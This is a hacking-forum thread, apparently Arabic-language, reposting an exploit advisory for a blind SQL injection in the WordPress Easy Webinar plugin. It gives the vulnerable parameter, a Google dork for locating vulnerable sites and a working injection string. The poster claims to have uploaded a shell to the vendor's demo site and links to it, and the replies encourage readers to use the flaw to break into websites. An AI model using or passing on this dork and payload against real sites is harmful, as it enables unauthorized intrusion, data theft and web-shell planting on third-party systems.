Wordpress Easy Webinar Plugin Blind SQL

[Mr iNFiNiTi]

Wordpress Easy Webinar Plugin Blind SQL

# Exploit Title: Wordpress Easy Webinar Plugin Blind SQL Injection Vulnerability 
# Vendor Homepage: www.easywebinarplugin.com
 
# Date: 10/26/2012
 
# Author: Robert Cooper (robert.cooper [at] areyousecure.net)
 
# Tested on: [Linux/Windows 7]
 
#Vulnerable Parameters: wid=
 
 
# Google Dork: allinurl: get-widget.php?wid=
 
##############################################################




Exploit:
 
www.example.com/wp-content/plugins/webinar_plugin/get-widget.php?wid=[SQLi]
 
Note: The HTTP response will read 404, but this is false:
 
www.example.com/wp-content/plugins/webinar_plugin/get-widget.php?wid=3' or 'x'='x
 
This will result in the page loading correctly and show that the plugin is vulnerable to injection (string).
##############################################################
 
www.areyousecure.net
 
# Shouts to the Belegit crew

شل على موقع الاضافة من رفعي

http://demo.easywebinarplugin.com/wp...n/webadmin.php

المصدر: development-point - للمزيد تابع : قسم الثغـرات

---

Wordpress Easy Webinar Plugin Blind SQL

[DHooMi1000]

مآشآء آلله

آبدآع والله

الله يعطيك الف الف الف عافيهه آإخخوي =) ...


تقبل مروريَ يَ بطلَ =) ...

[Mr iNFiNiTi]

^^
الله يحييك قسم بالله منور الموضوع

[SnipeR]

بارك الله فيك
شكرا لك

[yousif zozo]

ماشاء الله

ثغرة جميلة انشالله تتم الاستفادة منها مع اني ليس لي خبرة كبيرة في المواقع

[Mr iNFiNiTi]

حاول تطبيقها انشاء الله راح تدخل عالم اختراق المواقع
الله يعطيكم العافيه على المرور كلياتكن

[slo00om]

الله يعطيك الف عافية مع اني ما اعرف اخترق مواقع
تسسلم
ان شا الله اتعلم